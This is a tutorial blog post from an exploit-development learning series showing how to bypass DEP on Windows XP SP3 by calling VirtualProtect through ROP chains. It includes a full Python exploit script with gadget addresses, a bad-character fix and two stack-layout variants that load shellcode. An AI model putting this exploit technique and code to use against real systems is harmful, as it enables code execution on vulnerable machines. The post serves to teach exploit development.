[Learning] Bypassing DEP: VirtualProtect

First Post:

Last Update:

Word Count:
2.9k

Read Time:
18 min

Introduction

This article is part of my series: From Bug To Exploit.

In the previous article, I mentioned six common methods to bypass DEP:

  1. ZwSetInformationProcess
  2. SetProcessDEPPolicy
  3. VirtualProtect
  4. WriteProcessMemory
  5. VirtualAlloc & memcpy
  6. HeapCreate & HeapAlloc & memcpy

In this article, I will introduce the third method: using the VirtualProtect API.

VirtualProtect

According to the MSDN documentation, this API changes the protection on a region of committed pages in the virtual address space of the calling process.

1
2
3
4
5
6
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);

The meanings of the four parameters are:

  • lpAddress: The starting address of the specified region of virtual memory
  • dwSize: The size of the region.
  • flNewProtect: We need to use the PAGE_EXECUTE_READWRITE constant, which is 0x40.
  • lpflOldProtect: This parameter needs a writable 32-bit space. The API writes the original protection mode of the region (our target) into this space. The best option is to pass an address on the stack. If we pass NULL, then the API fails. If it fails, then [EAX] is 0. Otherwise, it is non-zero (usually, it would be 1).

Therefore, this API does not disable DEP, but changes the protection of the region to executable.

Preparation

First, let’s disassemble the kernel32!VirtualProtect API in WinDbg:

1
uf kernel32!VirtualProtect

1
2
3
4
5
6
7
8
9
10
11
12
kernel32!VirtualProtect:
7c801ad8 8bff mov edi,edi
7c801ada 55 push ebp
7c801adb 8bec mov ebp,esp
7c801add ff7514 push dword ptr [ebp+14h]
7c801ae0 ff7510 push dword ptr [ebp+10h]
7c801ae3 ff750c push dword ptr [ebp+0Ch]
7c801ae6 ff7508 push dword ptr [ebp+8]
7c801ae9 6aff push 0FFFFFFFFh
7c801aeb e875ffffff call kernel32!VirtualProtectEx (7c801a65)
7c801af0 5d pop ebp
7c801af1 c21000 ret 10h

Here, we can see how the API works. It actually calls kernel32!VirtualProtectEx and passes 0xFFFFFFFF (-1) as the first parameter.

Note: Remember that on an x86 operating system, calling conventions such as __stdcall and __cdecl push parameters from the last one to the first one.

Writing ROP Exploit Script

The process of developing this ROP exploit script is actually the same as the previous article. Therefore, I want to discuss something different.

Note: If you want to learn how to write a ROP script from scratch, you can refer to this article.

While executing the payload, I found that it failed. The reason is that the address of the API, 0x7c801ad8, contains a bad character, 0x1a.

To demonstrate this, after running the ROP payload, we can compare the contents of exploit_dep.txt with the payload that has been read:

1
!mona compare -f exploit_dep.txt -a 0022fa40

Note: The address 0022fa40 is the starting address of the payload.

To solve this problem, we can directly modify the address in memory by executing shellcode. For instance, instead of using the original address, we use 0x7c801bd8 and change it to 0x7c801ad8 by subtracting 0x100.

Note: The character 0x1a is a bad character because it represents EOF in legacy operating systems. This highlights that we usually need to understand why a character is considered a bad character if we want to solve the problem. Of course, we can still configure some essential data by modifying it with shellcode.

Therefore, the ROP chain for fixing the bad character can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rop6 += p32(0x7eb962f5) # XOR EAX,EAX # RETN
rop6 += p32(0x77c4ec2b) # ADD EAX,100 # POP EBP # RETN
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb873b4) # XCHG EAX,ECX # RETN
rop6 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop6 += b'6666' # pop esi
rop6 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop6 += b'6666' # retn 0x04
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb9a916) # SUB DWORD PTR DS:[EAX+4C],ECX # POP ESI # POP EBP # RETN 0x0C

My textbook also provides another approach that makes the ROP script smaller. The layout is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
edi-0x30    : Padding A
edi-0x10 : VirtualProtect
edi-0x0c : Padding B
edi-0x04 : jmp esp
edi : Padding C1, the first parameter of the API, dynamically generated, which is, [EDI] = EDI
edi+0x04 : The second parameter, 0x400
edi+0x08 : The third parameter, 0x40
edi+0x0C : Padding C2, the fourth parameter, dynamically generated, using `EDI-0x24`
edi+0x10 : Shellcode A
edi+0x15 : Padding D, padding to 140 bytes
edi+... : ROP
edi+... : Shellcode B

Therefore, the completed ROP exploit script, including both implementations, can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
# exploit.py
# VirtualProtect
# Environment: Windows XP SP3 x86

import struct
import sys

def p32(addr: int) -> bytes:
return struct.pack('<I', addr)

def read_shellcode() -> bytes:
shellcode = b''
with open('messagebox.bin', 'rb') as f:
shellcode = f.read()

return shellcode

def sword_three_first() -> bytes:
# 0x1a: EOF (bad char)
virtualprotect = p32(0x7c801bd8) # kernel32!VirtualProtect + 0x0100
jmp_esp = p32(0x7c874f13) # jmp esp

# initialize EDI
rop1 = b''
rop1 += p32(0x7eb9a880) # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 0x04
rop1 += b'1111' # pop ebp
rop1 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop1 += b'1111' # retn 0x04
rop1 += b'1111' # pop ebp
rop1 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop1 += b'1111' # pop ebp
rop1 += p32(0x7eb5b0e7) # PUSH EAX # ADD AL,66 # MOV DWORD PTR DS:[EAX],1B00001 # POP EDI # POP ESI # POP EBP # RETN 0x08
rop1 += b'1111' # pop esi
rop1 += b'1111' # pop ebp

# The first parameter, current address
rop2 = b''
rop2 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop2 += b'22222222' # retn 0x08
rop2 += b'2222' # pop esi
rop2 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop2 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop2 += b'2222' # pop esi
rop2 += p32(0x7eba5686) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN
rop2 += b'2222' # pop ebp

# The second parameter
rop3 = b''
rop3 += p32(0x7eba55bd) # XOR EAX,EAX # RETN
for _ in range(32):
rop3 += p32(0x77c1d7f5) # ADD EAX,20 # POP EBP # RETN
rop3 += b'3333' # pop ebp

rop3 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop3 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop3 += b'3333'
rop3 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop3 += b'3333' # pop ebp
rop3 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop3 += b'3333' # retn 0x04
rop3 += b'3333' # pop ebp
rop3 += p32(0x7eba5686) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN
rop3 += b'3333' # retn 0x04
rop3 += b'3333' # pop ebp

# The third parameter
rop4 = b''
rop4 += p32(0x7eba55bd) # XOR EAX,EAX # RETN
for _ in range(2):
rop4 += p32(0x77c1d7f5) # ADD EAX,20 # POP EBP # RETN
rop4 += b'4444' # pop ebp

rop4 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop4 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop4 += b'4444'
rop4 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop4 += b'4444' # retn 0x04
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop4 += b'4444' # retn 0x04
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop4 += b'4444' # retn 0x04
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eba5686) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN
rop4 += b'4444' # retn 0x04
rop4 += b'4444' # pop ebp

# The fourth parameter
rop5 = b''
rop5 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop5 += b'5555' # pop esi
rop5 += p32(0x77c33127) # ADD EAX,0C # RETN
rop5 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop5 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c14001) # XCHG EAX,ECX # RETN
rop5 += p32(0x7eba5686) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN
rop5 += b'5555' # pop ebp

# fixed bad char
rop6 = b''
rop6 += p32(0x7eb962f5) # XOR EAX,EAX # RETN
rop6 += p32(0x77c4ec2b) # ADD EAX,100 # POP EBP # RETN
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb873b4) # XCHG EAX,ECX # RETN
rop6 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop6 += b'6666' # pop esi
rop6 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop6 += b'6666' # retn 0x04
rop6 += b'6666' # pop ebp
rop6 += p32(0x7eb9a916) # SUB DWORD PTR DS:[EAX+4C],ECX # POP ESI # POP EBP # RETN 0x0C
rop6 += b'6666' # retn 0x04
rop6 += b'6666' # pop esi
rop6 += b'6666' # pop ebp

# Call API
rop7 = b''
rop7 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop7 += b'7' * 0x0C # retn 0x0c
rop7 += b'7777' # pop esi
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop7 += b'7777' # pop ebp
rop7 += p32(0x7eb9a9e3) # PUSH EAX # SUB AL,8B # DEC ECX # OR AL,1 # DEC EAX # POP ESP # POP EBP # RETN 0x08
rop7 += b'7777' # pop ebp

shellcode_A = b'\x89\xe0\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x7f\xff\xe0'
shellcode_B = read_shellcode()

offset = 140

padding_A = b'AAAA' * 8
padding_B = b'B' * 8 # retn 0x08 from rop7
padding_C = b'C' * 0x10 # retn 10h from VirtualProtect
padding_D = b'D' * (offset - (len(padding_B) + len(padding_C) + len(padding_A) + len(shellcode_A) + len(jmp_esp) + len(virtualprotect)))

exploit = b''
exploit += padding_A
exploit += virtualprotect
exploit += padding_B
exploit += jmp_esp
exploit += padding_C
exploit += shellcode_A
exploit += padding_D
exploit += rop1
exploit += rop2
exploit += rop3
exploit += rop4
exploit += rop5
exploit += rop6
exploit += rop7
exploit += b'\x90' * 200 # sled
exploit += shellcode_B

return exploit

def sword_three_second() -> bytes:
virtualprotect = p32(0x7c801bd8) # kernel32!VirtualProtect + 0x0100
jmp_esp = p32(0x7c874f13) # jmp esp

# Initialize EDI
rop1 = b''
rop1 += p32(0x7eb9a880) # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 0x04
rop1 += b'1111' # pop ebp
rop1 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop1 += b'1111' # retn 0x04
rop1 += b'1111' # pop ebp
rop1 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop1 += b'1111' # pop ebp
rop1 += p32(0x7eb5b0e7) # PUSH EAX # ADD AL,66 # MOV DWORD PTR DS:[EAX],1B00001 # POP EDI # POP ESI # POP EBP # RETN 0x08
rop1 += b'1111' # pop esi
rop1 += b'1111' # pop ebp

# Save EDI in [EDI]
rop2 = b''
rop2 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop2 += b'22222222' # retn 0x08
rop2 += b'2222' # pop esi
rop2 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
rop2 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop2 += b'2222' # pop esi
rop2 += p32(0x7eba5686) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN
rop2 += b'2222' # pop ebp

rop3 = b''
rop3 += p32(0x77c1f2cf) # ADD EAX,0C # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop3 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
rop3 += p32(0x77c14001) # XCHG EAX,ECX # RETN
rop3 += p32(0x7eba5686) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN
rop3 += b'3333' # pop ebp

rop4 = b''
rop4 += p32(0x7eb962f5) # XOR EAX,EAX # RETN
rop4 += p32(0x77c4ec2b) # ADD EAX,100 # POP EBP # RETN
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb873b4) # XCHG EAX,ECX # RETN
rop4 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop4 += b'4444' # pop esi
rop4 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop4 += b'4444' # retn 0x04
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb9a916) # SUB DWORD PTR DS:[EAX+4C],ECX # POP ESI # POP EBP # RETN 0x0C
rop4 += b'4444' # pop esi
rop4 += b'4444' # pop esi
rop4 += b'4444' # pop ebp

rop5 = b''
rop5 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop5 += b'5' * 0x0C
rop5 += b'5555' # pop esi
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop5 += b'5555' # pop ebp
rop5 += p32(0x7eb9a9e3) # PUSH EAX # SUB AL,8B # DEC ECX # OR AL,1 # DEC EAX # POP ESP # POP EBP # RETN 0x08
rop5 += b'5555' # pop esp
rop5 += b'5555' # pop ebp
# retn 0x08 left

# nasm jump.asm -o jump.bin
# xxd -i jump.bin
shellcode_A = b'\x89\xe0\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x5f\xff\xe0'
shellcode_B = read_shellcode()

offset = 140

padding_A = b'A' * 0x20
padding_B = b'B' * 8 # retn 0x08 from rop7
padding_C1 = b'C' * 0x4
arg2 = p32(0x400)
arg3 = p32(0x40)
padding_C2 = b'C' * 0x4

virtualprotect = p32(0x7c801bd8) # kernel32!VirtualProtect + 0x0100
jmp_esp = p32(0x7c874f13) # jmp esp

padding_D = b'D' * (offset - (len(padding_B) + len(padding_A) + len(shellcode_A) + len(jmp_esp) + len(virtualprotect) + len(padding_C1) + len(padding_C2) + len(arg2) + len(arg3)))

exploit = b''
exploit += padding_A
exploit += virtualprotect
exploit += padding_B
exploit += jmp_esp
exploit += padding_C1
exploit += arg2
exploit += arg3
exploit += padding_C2
exploit += shellcode_A
exploit += padding_D
exploit += rop1
exploit += rop2
exploit += rop3
exploit += rop4
exploit += rop5
exploit += b'\x90' * 200
exploit += shellcode_B

return exploit

def main():
try:
if len(sys.argv) <= 1:
print(f'Usage: python3 {sys.argv[0]} <Option>')
print(f' 1: One by One')
print(f' 2: Textbook method')
sys.exit(1)

option = int(sys.argv[1])

exploit = b''
if option == 1:
exploit = sword_three_first()
elif option == 2:
exploit = sword_three_second()
else:
raise Exception(f'Cannot find option: {option}')

with open('exploit_dep.txt', 'wb') as f:
f.write(exploit)

print('[+] OK')

except Exception as ex:
print(ex)

if __name__ == '__main__':
main()

Now, let’s try the first method:

Let’s try the second method:

Both methods can bypass DEP!

Conclusion

This article introduced how to bypass DEP using the VirtualProtect API.

It also introduced two implementations of the memory layout.

The first one is to configure the parameters using pointers.

The other approach is to put constant parameters directly onto the stack.

These highlight that writing a ROP exploit script not only requires an understanding of assembly language, but also an understanding of the memory layout.

In the next article, I will introduce the fourth method of bypassing DEP.

This is the end of this article. If you have any comments or issues, please feel free to leave them below!

THANKS FOR READING!

I drew a new drawing!

えへへ~